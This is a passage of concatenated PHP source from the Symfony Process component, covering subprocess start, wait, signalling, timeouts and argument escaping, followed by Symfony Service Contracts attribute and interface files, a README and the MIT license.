or err) and some bytes from * the output in real-time while writing the standard input to the process. * It allows to have feedback from the independent process during execution. * * @param callable|null $callback A PHP callback to run whenever there is some * output available on STDOUT or STDERR * * @return void * * @throws RuntimeException When process can't be launched * @throws RuntimeException When process is already running * @throws LogicException In case a callback is provided and output has been disabled */ public function start(?callable $callback = null, array $env = []) { if ($this->isRunning()) { throw new RuntimeException('Process is already running.'); } $this->resetProcessData(); $this->starttime = $this->lastOutputTime = microtime(true); $this->callback = $this->buildCallback($callback); $descriptors = $this->getDescriptors(null !== $callback); if ($this->env) { $env += '\\' === \DIRECTORY_SEPARATOR ? array_diff_ukey($this->env, $env, 'strcasecmp') : $this->env; } $env += '\\' === \DIRECTORY_SEPARATOR ? array_diff_ukey($this->getDefaultEnv(), $env, 'strcasecmp') : $this->getDefaultEnv(); if (\is_array($commandline = $this->commandline)) { $commandline = implode(' ', array_map($this->escapeArgument(...), $commandline)); if ('\\' !== \DIRECTORY_SEPARATOR) { // exec is mandatory to deal with sending a signal to the process $commandline = 'exec '.$commandline; } } else { $commandline = $this->replacePlaceholders($commandline, $env); } if ('\\' === \DIRECTORY_SEPARATOR) { $commandline = $this->prepareWindowsCommandLine($commandline, $env); } elseif ($this->isSigchildEnabled()) { // last exit code is output on the fourth pipe and caught to work around --enable-sigchild $descriptors[3] = ['pipe', 'w']; // See https://unix.stackexchange.com/questions/71205/background-process-pipe-input $commandline = '{ ('.$commandline.') <&3 3<&- 3>/dev/null & } 3<&0;'; $commandline .= 'pid=$!; echo $pid >&3; wait $pid 2>/dev/null; code=$?; echo $code >&3; exit $code'; } $envPairs = []; foreach ($env as $k => $v) { if (false !== $v && false === \in_array($k, ['argc', 'argv', 'ARGC', 'ARGV'], true)) { $envPairs[] = $k.'='.$v; } } if (!is_dir($this->cwd)) { throw new RuntimeException(\sprintf('The provided cwd "%s" does not exist.', $this->cwd)); } $process = @proc_open($commandline, $descriptors, $this->processPipes->pipes, $this->cwd, $envPairs, $this->options); if (!$process) { throw new RuntimeException('Unable to launch a new process.'); } $this->process = $process; $this->status = self::STATUS_STARTED; if (isset($descriptors[3])) { $this->fallbackStatus['pid'] = (int) fgets($this->processPipes->pipes[3]); } if ($this->tty) { return; } $this->updateStatus(false); $this->checkTimeout(); } /** * Restarts the process. * * Be warned that the process is cloned before being started. * * @param callable|null $callback A PHP callback to run whenever there is some * output available on STDOUT or STDERR * * @throws RuntimeException When process can't be launched * @throws RuntimeException When process is already running * * @see start() * * @final */ public function restart(?callable $callback = null, array $env = []): static { if ($this->isRunning()) { throw new RuntimeException('Process is already running.'); } $process = clone $this; $process->start($callback, $env); return $process; } /** * Waits for the process to terminate. * * The callback receives the type of output (out or err) and some bytes * from the output in real-time while writing the standard input to the process. * It allows to have feedback from the independent process during execution. * * @param callable|null $callback A valid PHP callback * * @return int The exitcode of the process * * @throws ProcessTimedOutException When process timed out * @throws ProcessSignaledException When process stopped after receiving signal * @throws LogicException When process is not yet started */ public function wait(?callable $callback = null): int { $this->requireProcessIsStarted(__FUNCTION__); $this->updateStatus(false); if (null !== $callback) { if (!$this->processPipes->haveReadSupport()) { $this->stop(0); throw new LogicException('Pass the callback to the "Process::start" method or call enableOutput to use a callback with "Process::wait".'); } $this->callback = $this->buildCallback($callback); } do { $this->checkTimeout(); $running = $this->isRunning() && ('\\' === \DIRECTORY_SEPARATOR || $this->processPipes->areOpen()); $this->readPipes($running, '\\' !== \DIRECTORY_SEPARATOR || !$running); } while ($running); while ($this->isRunning()) { $this->checkTimeout(); usleep(1000); } if ($this->processInformation['signaled'] && $this->processInformation['termsig'] !== $this->latestSignal) { throw new ProcessSignaledException($this); } return $this->exitcode; } /** * Waits until the callback returns true. * * The callback receives the type of output (out or err) and some bytes * from the output in real-time while writing the standard input to the process. * It allows to have feedback from the independent process during execution. * * @throws RuntimeException When process timed out * @throws LogicException When process is not yet started * @throws ProcessTimedOutException In case the timeout was reached */ public function waitUntil(callable $callback): bool { $this->requireProcessIsStarted(__FUNCTION__); $this->updateStatus(false); if (!$this->processPipes->haveReadSupport()) { $this->stop(0); throw new LogicException('Pass the callback to the "Process::start" method or call enableOutput to use a callback with "Process::waitUntil".'); } $callback = $this->buildCallback($callback); $ready = false; while (true) { $this->checkTimeout(); $running = '\\' === \DIRECTORY_SEPARATOR ? $this->isRunning() : $this->processPipes->areOpen(); $output = $this->processPipes->readAndWrite($running, '\\' !== \DIRECTORY_SEPARATOR || !$running); foreach ($output as $type => $data) { if (3 !== $type) { $ready = $callback(self::STDOUT === $type ? self::OUT : self::ERR, $data) || $ready; } elseif (!isset($this->fallbackStatus['signaled'])) { $this->fallbackStatus['exitcode'] = (int) $data; } } if ($ready) { return true; } if (!$running) { return false; } usleep(1000); } } /** * Returns the Pid (process identifier), if applicable. * * @return int|null The process id if running, null otherwise */ public function getPid(): ?int { return $this->isRunning() ? $this->processInformation['pid'] : null; } /** * Sends a POSIX signal to the process. * * @param int $signal A valid POSIX signal (see https://php.net/pcntl.constants) * * @return $this * * @throws LogicException In case the process is not running * @throws RuntimeException In case --enable-sigchild is activated and the process can't be killed * @throws RuntimeException In case of failure */ public function signal(int $signal): static { $this->doSignal($signal, true); return $this; } /** * Disables fetching output and error output from the underlying process. * * @return $this * * @throws RuntimeException In case the process is already running * @throws LogicException if an idle timeout is set */ public function disableOutput(): static { if ($this->isRunning()) { throw new RuntimeException('Disabling output while the process is running is not possible.'); } if (null !== $this->idleTimeout) { throw new LogicException('Output cannot be disabled while an idle timeout is set.'); } $this->outputDisabled = true; return $this; } /** * Enables fetching output and error output from the underlying process. * * @return $this * * @throws RuntimeException In case the process is already running */ public function enableOutput(): static { if ($this->isRunning()) { throw new RuntimeException('Enabling output while the process is running is not possible.'); } $this->outputDisabled = false; return $this; } /** * Returns true in case the output is disabled, false otherwise. */ public function isOutputDisabled(): bool { return $this->outputDisabled; } /** * Returns the current output of the process (STDOUT). * * @throws LogicException in case the output has been disabled * @throws LogicException In case the process is not started */ public function getOutput(): string { $this->readPipesForOutput(__FUNCTION__); if (false === $ret = stream_get_contents($this->stdout, -1, 0)) { return ''; } return $ret; } /** * Returns the output incrementally. * * In comparison with the getOutput method which always return the whole * output, this one returns the new output since the last call. * * @throws LogicException in case the output has been disabled * @throws LogicException In case the process is not started */ public function getIncrementalOutput(): string { $this->readPipesForOutput(__FUNCTION__); $latest = stream_get_contents($this->stdout, -1, $this->incrementalOutputOffset); $this->incrementalOutputOffset = ftell($this->stdout); if (false === $latest) { return ''; } return $latest; } /** * Returns an iterator to the output of the process, with the output type as keys (Process::OUT/ERR). * * @param int $flags A bit field of Process::ITER_* flags * * @return \Generator * * @throws LogicException in case the output has been disabled * @throws LogicException In case the process is not started */ public function getIterator(int $flags = 0): \Generator { $this->readPipesForOutput(__FUNCTION__, false); $clearOutput = !(self::ITER_KEEP_OUTPUT & $flags); $blocking = !(self::ITER_NON_BLOCKING & $flags); $yieldOut = !(self::ITER_SKIP_OUT & $flags); $yieldErr = !(self::ITER_SKIP_ERR & $flags); while (null !== $this->callback || ($yieldOut && !feof($this->stdout)) || ($yieldErr && !feof($this->stderr))) { if ($yieldOut) { $out = stream_get_contents($this->stdout, -1, $this->incrementalOutputOffset); if (isset($out[0])) { if ($clearOutput) { $this->clearOutput(); } else { $this->incrementalOutputOffset = ftell($this->stdout); } yield self::OUT => $out; } } if ($yieldErr) { $err = stream_get_contents($this->stderr, -1, $this->incrementalErrorOutputOffset); if (isset($err[0])) { if ($clearOutput) { $this->clearErrorOutput(); } else { $this->incrementalErrorOutputOffset = ftell($this->stderr); } yield self::ERR => $err; } } if (!$blocking && !isset($out[0]) && !isset($err[0])) { yield self::OUT => ''; } $this->checkTimeout(); $this->readPipesForOutput(__FUNCTION__, $blocking); } } /** * Clears the process output. * * @return $this */ public function clearOutput(): static { ftruncate($this->stdout, 0); fseek($this->stdout, 0); $this->incrementalOutputOffset = 0; return $this; } /** * Returns the current error output of the process (STDERR). * * @throws LogicException in case the output has been disabled * @throws LogicException In case the process is not started */ public function getErrorOutput(): string { $this->readPipesForOutput(__FUNCTION__); if (false === $ret = stream_get_contents($this->stderr, -1, 0)) { return ''; } return $ret; } /** * Returns the errorOutput incrementally. * * In comparison with the getErrorOutput method which always return the * whole error output, this one returns the new error output since the last * call. * * @throws LogicException in case the output has been disabled * @throws LogicException In case the process is not started */ public function getIncrementalErrorOutput(): string { $this->readPipesForOutput(__FUNCTION__); $latest = stream_get_contents($this->stderr, -1, $this->incrementalErrorOutputOffset); $this->incrementalErrorOutputOffset = ftell($this->stderr); if (false === $latest) { return ''; } return $latest; } /** * Clears the process output. * * @return $this */ public function clearErrorOutput(): static { ftruncate($this->stderr, 0); fseek($this->stderr, 0); $this->incrementalErrorOutputOffset = 0; return $this; } /** * Returns the exit code returned by the process. * * @return int|null The exit status code, null if the Process is not terminated */ public function getExitCode(): ?int { $this->updateStatus(false); return $this->exitcode; } /** * Returns a string representation for the exit code returned by the process. * * This method relies on the Unix exit code status standardization * and might not be relevant for other operating systems. * * @return string|null A string representation for the exit status code, null if the Process is not terminated * * @see http://tldp.org/LDP/abs/html/exitcodes.html * @see http://en.wikipedia.org/wiki/Unix_signal */ public function getExitCodeText(): ?string { if (null === $exitcode = $this->getExitCode()) { return null; } return self::$exitCodes[$exitcode] ?? 'Unknown error'; } /** * Checks if the process ended successfully. */ public function isSuccessful(): bool { return 0 === $this->getExitCode(); } /** * Returns true if the child process has been terminated by an uncaught signal. * * It always returns false on Windows. * * @throws LogicException In case the process is not terminated */ public function hasBeenSignaled(): bool { $this->requireProcessIsTerminated(__FUNCTION__); return $this->processInformation['signaled']; } /** * Returns the number of the signal that caused the child process to terminate its execution. * * It is only meaningful if hasBeenSignaled() returns true. * * @throws RuntimeException In case --enable-sigchild is activated * @throws LogicException In case the process is not terminated */ public function getTermSignal(): int { $this->requireProcessIsTerminated(__FUNCTION__); if ($this->isSigchildEnabled() && -1 === $this->processInformation['termsig']) { throw new RuntimeException('This PHP has been compiled with --enable-sigchild. Term signal cannot be retrieved.'); } return $this->processInformation['termsig']; } /** * Returns true if the child process has been stopped by a signal. * * It always returns false on Windows. * * @throws LogicException In case the process is not terminated */ public function hasBeenStopped(): bool { $this->requireProcessIsTerminated(__FUNCTION__); return $this->processInformation['stopped']; } /** * Returns the number of the signal that caused the child process to stop its execution. * * It is only meaningful if hasBeenStopped() returns true. * * @throws LogicException In case the process is not terminated */ public function getStopSignal(): int { $this->requireProcessIsTerminated(__FUNCTION__); return $this->processInformation['stopsig']; } /** * Checks if the process is currently running. */ public function isRunning(): bool { if (self::STATUS_STARTED !== $this->status) { return false; } $this->updateStatus(false); return $this->processInformation['running']; } /** * Checks if the process has been started with no regard to the current state. */ public function isStarted(): bool { return self::STATUS_READY != $this->status; } /** * Checks if the process is terminated. */ public function isTerminated(): bool { $this->updateStatus(false); return self::STATUS_TERMINATED == $this->status; } /** * Gets the process status. * * The status is one of: ready, started, terminated. */ public function getStatus(): string { $this->updateStatus(false); return $this->status; } /** * Stops the process. * * @param int|float $timeout The timeout in seconds * @param int|null $signal A POSIX signal to send in case the process has not stop at timeout, default is SIGKILL (9) * * @return int|null The exit-code of the process or null if it's not running */ public function stop(float $timeout = 10, ?int $signal = null): ?int { $timeoutMicro = microtime(true) + $timeout; if ($this->isRunning()) { // given SIGTERM may not be defined and that "proc_terminate" uses the constant value and not the constant itself, we use the same here $this->doSignal(15, false); do { usleep(1000); } while ($this->isRunning() && microtime(true) < $timeoutMicro); if ($this->isRunning()) { // Avoid exception here: process is supposed to be running, but it might have stopped just // after this line. In any case, let's silently discard the error, we cannot do anything. $this->doSignal($signal ?: 9, false); } } if ($this->isRunning()) { if (isset($this->fallbackStatus['pid'])) { unset($this->fallbackStatus['pid']); return $this->stop(0, $signal); } $this->close(); } return $this->exitcode; } /** * Adds a line to the STDOUT stream. * * @internal */ public function addOutput(string $line): void { $this->lastOutputTime = microtime(true); fseek($this->stdout, 0, \SEEK_END); fwrite($this->stdout, $line); fseek($this->stdout, $this->incrementalOutputOffset); } /** * Adds a line to the STDERR stream. * * @internal */ public function addErrorOutput(string $line): void { $this->lastOutputTime = microtime(true); fseek($this->stderr, 0, \SEEK_END); fwrite($this->stderr, $line); fseek($this->stderr, $this->incrementalErrorOutputOffset); } /** * Gets the last output time in seconds. */ public function getLastOutputTime(): ?float { return $this->lastOutputTime; } /** * Gets the command line to be executed. */ public function getCommandLine(): string { return \is_array($this->commandline) ? implode(' ', array_map($this->escapeArgument(...), $this->commandline)) : $this->commandline; } /** * Gets the process timeout in seconds (max. runtime). */ public function getTimeout(): ?float { return $this->timeout; } /** * Gets the process idle timeout in seconds (max. time since last output). */ public function getIdleTimeout(): ?float { return $this->idleTimeout; } /** * Sets the process timeout (max. runtime) in seconds. * * To disable the timeout, set this value to null. * * @return $this * * @throws InvalidArgumentException if the timeout is negative */ public function setTimeout(?float $timeout): static { $this->timeout = $this->validateTimeout($timeout); return $this; } /** * Sets the process idle timeout (max. time since last output) in seconds. * * To disable the timeout, set this value to null. * * @return $this * * @throws LogicException if the output is disabled * @throws InvalidArgumentException if the timeout is negative */ public function setIdleTimeout(?float $timeout): static { if (null !== $timeout && $this->outputDisabled) { throw new LogicException('Idle timeout cannot be set while the output is disabled.'); } $this->idleTimeout = $this->validateTimeout($timeout); return $this; } /** * Enables or disables the TTY mode. * * @return $this * * @throws RuntimeException In case the TTY mode is not supported */ public function setTty(bool $tty): static { if ('\\' === \DIRECTORY_SEPARATOR && $tty) { throw new RuntimeException('TTY mode is not supported on Windows platform.'); } if ($tty && !self::isTtySupported()) { throw new RuntimeException('TTY mode requires /dev/tty to be read/writable.'); } $this->tty = $tty; return $this; } /** * Checks if the TTY mode is enabled. */ public function isTty(): bool { return $this->tty; } /** * Sets PTY mode. * * @return $this */ public function setPty(bool $bool): static { $this->pty = $bool; return $this; } /** * Returns PTY state. */ public function isPty(): bool { return $this->pty; } /** * Gets the working directory. */ public function getWorkingDirectory(): ?string { if (null === $this->cwd) { // getcwd() will return false if any one of the parent directories does not have // the readable or search mode set, even if the current directory does return getcwd() ?: null; } return $this->cwd; } /** * Sets the current working directory. * * @return $this */ public function setWorkingDirectory(string $cwd): static { $this->cwd = $cwd; return $this; } /** * Gets the environment variables. */ public function getEnv(): array { return $this->env; } /** * Sets the environment variables. * * @param array $env The new environment variables * * @return $this */ public function setEnv(array $env): static { $this->env = $env; return $this; } /** * Gets the Process input. * * @return resource|string|\Iterator|null */ public function getInput() { return $this->input; } /** * Sets the input. * * This content will be passed to the underlying process standard input. * * @param string|resource|\Traversable|self|null $input The content * * @return $this * * @throws LogicException In case the process is running */ public function setInput(mixed $input): static { if ($this->isRunning()) { throw new LogicException('Input cannot be set while the process is running.'); } $this->input = ProcessUtils::validateInput(__METHOD__, $input); return $this; } /** * Performs a check between the timeout definition and the time the process started. * * In case you run a background process (with the start method), you should * trigger this method regularly to ensure the process timeout * * @return void * * @throws ProcessTimedOutException In case the timeout was reached */ public function checkTimeout() { if (self::STATUS_STARTED !== $this->status) { return; } if (null !== $this->timeout && $this->timeout < microtime(true) - $this->starttime) { $this->stop(0); throw new ProcessTimedOutException($this, ProcessTimedOutException::TYPE_GENERAL); } if (null !== $this->idleTimeout && $this->idleTimeout < microtime(true) - $this->lastOutputTime) { $this->stop(0); throw new ProcessTimedOutException($this, ProcessTimedOutException::TYPE_IDLE); } } /** * @throws LogicException in case process is not started */ public function getStartTime(): float { if (!$this->isStarted()) { throw new LogicException('Start time is only available after process start.'); } return $this->starttime; } /** * Defines options to pass to the underlying proc_open(). * * @see https://php.net/proc_open for the options supported by PHP. * * Enabling the "create_new_console" option allows a subprocess to continue * to run after the main process exited, on both Windows and *nix * * @return void */ public function setOptions(array $options) { if ($this->isRunning()) { throw new RuntimeException('Setting options while the process is running is not possible.'); } $defaultOptions = $this->options; $existingOptions = ['blocking_pipes', 'create_process_group', 'create_new_console']; foreach ($options as $key => $value) { if (!\in_array($key, $existingOptions)) { $this->options = $defaultOptions; throw new LogicException(\sprintf('Invalid option "%s" passed to "%s()". Supported options are "%s".', $key, __METHOD__, implode('", "', $existingOptions))); } $this->options[$key] = $value; } } /** * Returns whether TTY is supported on the current operating system. */ public static function isTtySupported(): bool { static $isTtySupported; return $isTtySupported ??= ('/' === \DIRECTORY_SEPARATOR && stream_isatty(\STDOUT) && @is_writable('/dev/tty')); } /** * Returns whether PTY is supported on the current operating system. */ public static function isPtySupported(): bool { static $result; if (null !== $result) { return $result; } if ('\\' === \DIRECTORY_SEPARATOR) { return $result = false; } return $result = (bool) @proc_open('echo 1 >/dev/null', [['pty'], ['pty'], ['pty']], $pipes); } /** * Creates the descriptors needed by the proc_open. */ private function getDescriptors(bool $hasCallback): array { if ($this->input instanceof \Iterator) { $this->input->rewind(); } if ('\\' === \DIRECTORY_SEPARATOR) { $this->processPipes = new WindowsPipes($this->input, !$this->outputDisabled || $hasCallback); } else { $this->processPipes = new UnixPipes($this->isTty(), $this->isPty(), $this->input, !$this->outputDisabled || $hasCallback); } return $this->processPipes->getDescriptors(); } /** * Builds up the callback used by wait(). * * The callbacks adds all occurred output to the specific buffer and calls * the user callback (if present) with the received output. * * @param callable|null $callback The user defined PHP callback */ protected function buildCallback(?callable $callback = null): \Closure { if ($this->outputDisabled) { return fn ($type, $data): bool => null !== $callback && $callback($type, $data); } $out = self::OUT; return function ($type, $data) use ($callback, $out): bool { if ($out == $type) { $this->addOutput($data); } else { $this->addErrorOutput($data); } return null !== $callback && $callback($type, $data); }; } /** * Updates the status of the process, reads pipes. * * @param bool $blocking Whether to use a blocking read call * * @return void */ protected function updateStatus(bool $blocking) { if (self::STATUS_STARTED !== $this->status) { return; } if ($this->processInformation['running'] ?? true) { $this->processInformation = proc_get_status($this->process); } $running = $this->processInformation['running']; $this->readPipes($running && $blocking, '\\' !== \DIRECTORY_SEPARATOR || !$running); if ($this->fallbackStatus && $this->isSigchildEnabled()) { $this->processInformation = $this->fallbackStatus + $this->processInformation; } if (!$running) { $this->close(); } } /** * Returns whether PHP has been compiled with the '--enable-sigchild' option or not. */ protected function isSigchildEnabled(): bool { if (null !== self::$sigchild) { return self::$sigchild; } if (!\function_exists('phpinfo')) { return self::$sigchild = false; } ob_start(); phpinfo(\INFO_GENERAL); return self::$sigchild = str_contains(ob_get_clean(), '--enable-sigchild'); } /** * Reads pipes for the freshest output. * * @param string $caller The name of the method that needs fresh outputs * @param bool $blocking Whether to use blocking calls or not * * @throws LogicException in case output has been disabled or process is not started */ private function readPipesForOutput(string $caller, bool $blocking = false): void { if ($this->outputDisabled) { throw new LogicException('Output has been disabled.'); } $this->requireProcessIsStarted($caller); $this->updateStatus($blocking); } /** * Validates and returns the filtered timeout. * * @throws InvalidArgumentException if the given timeout is a negative number */ private function validateTimeout(?float $timeout): ?float { $timeout = (float) $timeout; if (0.0 === $timeout) { $timeout = null; } elseif ($timeout < 0) { throw new InvalidArgumentException('The timeout value must be a valid positive integer or float number.'); } return $timeout; } /** * Reads pipes, executes callback. * * @param bool $blocking Whether to use blocking calls or not * @param bool $close Whether to close file handles or not */ private function readPipes(bool $blocking, bool $close): void { $result = $this->processPipes->readAndWrite($blocking, $close); $callback = $this->callback; foreach ($result as $type => $data) { if (3 !== $type) { $callback(self::STDOUT === $type ? self::OUT : self::ERR, $data); } elseif (!isset($this->fallbackStatus['signaled'])) { $this->fallbackStatus['exitcode'] = (int) $data; } } } /** * Closes process resource, closes file handles, sets the exitcode. * * @return int The exitcode */ private function close(): int { $this->processPipes->close(); if ($this->process) { proc_close($this->process); $this->process = null; } $this->exitcode = $this->processInformation['exitcode']; $this->status = self::STATUS_TERMINATED; if (-1 === $this->exitcode) { if ($this->processInformation['signaled'] && 0 < $this->processInformation['termsig']) { // if process has been signaled, no exitcode but a valid termsig, apply Unix convention $this->exitcode = 128 + $this->processInformation['termsig']; } elseif ($this->isSigchildEnabled()) { $this->processInformation['signaled'] = true; $this->processInformation['termsig'] = -1; } } // Free memory from self-reference callback created by buildCallback // Doing so in other contexts like __destruct or by garbage collector is ineffective // Now pipes are closed, so the callback is no longer necessary $this->callback = null; return $this->exitcode; } /** * Resets data related to the latest run of the process. */ private function resetProcessData(): void { $this->starttime = null; $this->callback = null; $this->exitcode = null; $this->fallbackStatus = []; $this->processInformation = []; $this->stdout = fopen('php://temp/maxmemory:'.(1024 * 1024), 'w+'); $this->stderr = fopen('php://temp/maxmemory:'.(1024 * 1024), 'w+'); $this->process = null; $this->latestSignal = null; $this->status = self::STATUS_READY; $this->incrementalOutputOffset = 0; $this->incrementalErrorOutputOffset = 0; } /** * Sends a POSIX signal to the process. * * @param int $signal A valid POSIX signal (see https://php.net/pcntl.constants) * @param bool $throwException Whether to throw exception in case signal failed * * @throws LogicException In case the process is not running * @throws RuntimeException In case --enable-sigchild is activated and the process can't be killed * @throws RuntimeException In case of failure */ private function doSignal(int $signal, bool $throwException): bool { if (null === $pid = $this->getPid()) { if ($throwException) { throw new LogicException('Cannot send signal on a non running process.'); } return false; } if ('\\' === \DIRECTORY_SEPARATOR) { exec(\sprintf('taskkill /F /T /PID %d 2>&1', $pid), $output, $exitCode); if ($exitCode && $this->isRunning()) { if ($throwException) { throw new RuntimeException(\sprintf('Unable to kill the process (%s).', implode(' ', $output))); } return false; } } else { if (!$this->isSigchildEnabled()) { $ok = @proc_terminate($this->process, $signal); } elseif (\function_exists('posix_kill')) { $ok = @posix_kill($pid, $signal); } elseif ($ok = proc_open(\sprintf('kill -%d %d', $signal, $pid), [2 => ['pipe', 'w']], $pipes)) { $ok = false === fgets($pipes[2]); } if (!$ok) { if ($throwException) { throw new RuntimeException(\sprintf('Error while sending signal "%s".', $signal)); } return false; } } $this->latestSignal = $signal; $this->fallbackStatus['signaled'] = true; $this->fallbackStatus['exitcode'] = -1; $this->fallbackStatus['termsig'] = $this->latestSignal; return true; } private function prepareWindowsCommandLine(string $cmd, array &$env): string { $uid = uniqid('', true); $cmd = preg_replace_callback( '/"(?:( [^"%!^]*+ (?: (?: !LF! | "(?:\^[%!^])?+" ) [^"%!^]*+ )++ ) | [^"]*+ )"/x', function ($m) use (&$env, $uid) { static $varCount = 0; static $varCache = []; if (!isset($m[1])) { return $m[0]; } if (isset($varCache[$m[0]])) { return $varCache[$m[0]]; } if (str_contains($value = $m[1], "\0")) { $value = str_replace("\0", '?', $value); } if (false === strpbrk($value, "\"%!\n")) { return '"'.$value.'"'; } $value = str_replace(['!LF!', '"^!"', '"^%"', '"^^"', '""'], ["\n", '!', '%', '^', '"'], $value); $value = '"'.preg_replace('/(\\\\*)"/', '$1$1\\"', $value).'"'; $var = $uid.++$varCount; $env[$var] = $value; return $varCache[$m[0]] = '!'.$var.'!'; }, $cmd ); static $comSpec; if (!$comSpec && $comSpec = (new ExecutableFinder())->find('cmd.exe')) { // Escape according to CommandLineToArgvW rules $comSpec = '"'.preg_replace('{(\\\\*+)"}', '$1$1\"', $comSpec).'"'; } $cmd = ($comSpec ?? 'cmd').' /V:ON /E:ON /D /C ('.str_replace("\n", ' ', $cmd).')'; foreach ($this->processPipes->getFiles() as $offset => $filename) { $cmd .= ' '.$offset.'>"'.$filename.'"'; } return $cmd; } /** * Ensures the process is running or terminated, throws a LogicException if the process has a not started. * * @throws LogicException if the process has not run */ private function requireProcessIsStarted(string $functionName): void { if (!$this->isStarted()) { throw new LogicException(\sprintf('Process must be started before calling "%s()".', $functionName)); } } /** * Ensures the process is terminated, throws a LogicException if the process has a status different than "terminated". * * @throws LogicException if the process is not yet terminated */ private function requireProcessIsTerminated(string $functionName): void { if (!$this->isTerminated()) { throw new LogicException(\sprintf('Process must be terminated before calling "%s()".', $functionName)); } } /** * Escapes a string to be used as a shell argument. */ private function escapeArgument(?string $argument): string { if ('' === $argument || null === $argument) { return '""'; } if ('\\' !== \DIRECTORY_SEPARATOR) { return "'".str_replace("'", "'\\''", $argument)."'"; } if (str_contains($argument, "\0")) { $argument = str_replace("\0", '?', $argument); } if (!preg_match('/[()%!^"<>&|\s]/', $argument)) { return $argument; } $argument = preg_replace('/(\\\\+)$/', '$1$1', $argument); return '"'.str_replace(['"', '^', '%', '!', "\n"], ['""', '"^^"', '"^%"', '"^!"', '!LF!'], $argument).'"'; } private function replacePlaceholders(string $commandline, array $env): string { return preg_replace_callback('/"\$\{:([_a-zA-Z]++[_a-zA-Z0-9]*+)\}"/', function ($matches) use ($commandline, $env) { if (!isset($env[$matches[1]]) || false === $env[$matches[1]]) { throw new InvalidArgumentException(\sprintf('Command line is missing a value for parameter "%s": ', $matches[1]).$commandline); } return $this->escapeArgument($env[$matches[1]]); }, $commandline); } private function getDefaultEnv(): array { $env = getenv(); $env = ('\\' === \DIRECTORY_SEPARATOR ? array_intersect_ukey($env, $_SERVER, 'strcasecmp') : array_intersect_key($env, $_SERVER)) ?: $env; return $_ENV + ('\\' === \DIRECTORY_SEPARATOR ? array_diff_ukey($env, $_ENV, 'strcasecmp') : $env); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process; use Symfony\Component\Process\Exception\InvalidArgumentException; /** * ProcessUtils is a bunch of utility methods. * * This class contains static methods only and is not meant to be instantiated. * * @author Martin Hasoň */ class ProcessUtils { /** * This class should not be instantiated. */ private function __construct() { } /** * Validates and normalizes a Process input. * * @param string $caller The name of method call that validates the input * @param mixed $input The input to validate * * @throws InvalidArgumentException In case the input is not valid */ public static function validateInput(string $caller, mixed $input): mixed { if (null !== $input) { if (\is_resource($input)) { return $input; } if (\is_scalar($input)) { return (string) $input; } if ($input instanceof Process) { return $input->getIterator($input::ITER_SKIP_ERR); } if ($input instanceof \Iterator) { return $input; } if ($input instanceof \Traversable) { return new \IteratorIterator($input); } throw new InvalidArgumentException(\sprintf('"%s" only accepts strings, Traversable objects or stream resources.', $caller)); } return $input; } } Process Component ================= The Process component executes commands in sub-processes. Resources --------- * [Documentation](https://symfony.com/doc/current/components/process.html) * [Contributing](https://symfony.com/doc/current/contributing/index.html) * [Report issues](https://github.com/symfony/symfony/issues) and [send Pull Requests](https://github.com/symfony/symfony/pulls) in the [main Symfony repository](https://github.com/symfony/symfony) { "name": "symfony/process", "type": "library", "description": "Executes commands in sub-processes", "keywords": [], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Fabien Potencier", "email": "fabien@symfony.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=8.1" }, "autoload": { "psr-4": { "Symfony\\Component\\Process\\": "" }, "exclude-from-classmap": [ "/Tests/" ] }, "minimum-stability": "dev" } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Contracts\Service\Attribute; /** * A required dependency. * * This attribute indicates that a property holds a required dependency. The annotated property or method should be * considered during the instantiation process of the containing class. * * @author Alexander M. Turek */ #[\Attribute(\Attribute::TARGET_METHOD | \Attribute::TARGET_PROPERTY)] final class Required { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Contracts\Service\Attribute; use Symfony\Contracts\Service\ServiceMethodsSubscriberTrait; use Symfony\Contracts\Service\ServiceSubscriberInterface; /** * For use as the return value for {@see ServiceSubscriberInterface}. * * @example new SubscribedService('http_client', HttpClientInterface::class, false, new Target('githubApi')) * * Use with {@see ServiceMethodsSubscriberTrait} to mark a method's return type * as a subscribed service. * * @author Kevin Bond */ #[\Attribute(\Attribute::TARGET_METHOD)] final class SubscribedService { /** @var object[] */ public array $attributes; /** * @param string|null $key The key to use for the service * @param class-string|null $type The service class * @param bool $nullable Whether the service is optional * @param object|object[] $attributes One or more dependency injection attributes to use */ public function __construct( public ?string $key = null, public ?string $type = null, public bool $nullable = false, array|object $attributes = [], ) { $this->attributes = \is_array($attributes) ? $attributes : [$attributes]; } } CHANGELOG ========= The changelog is maintained for all Symfony contracts at the following URL: https://github.com/symfony/contracts/blob/main/CHANGELOG.md Copyright (c) 2018-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Symfony Service Contracts ========================= A set of abstractions extracted out of the Symfony components. Can be used to build on semantics that the Symfony components proved useful and that already have battle tested implementations. See https://github.com/symfony/contracts/blob/main/README.md for more information. * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Contracts\Service; /** * Provides a way to reset an object to its initial state. * * When calling the "reset()" method on an object, it should be put back to its * initial state. This usually means clearing any internal buffers and forwarding * the call to internal dependencies. All properties of the object should be put * back to the same state it had when it was first ready to use. * * This method could be called, for example, to recycle objects that are used as * services, so that they can be used to handle several requests in the same * process loop (note that we advise making your services stateless instead of * implementing this interface when possible.) */ interface ResetInterface { /** * @return void */ public function reset(); } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Contracts\Service; /** * A ServiceProviderInterface that is also countable and iterable. * * @author 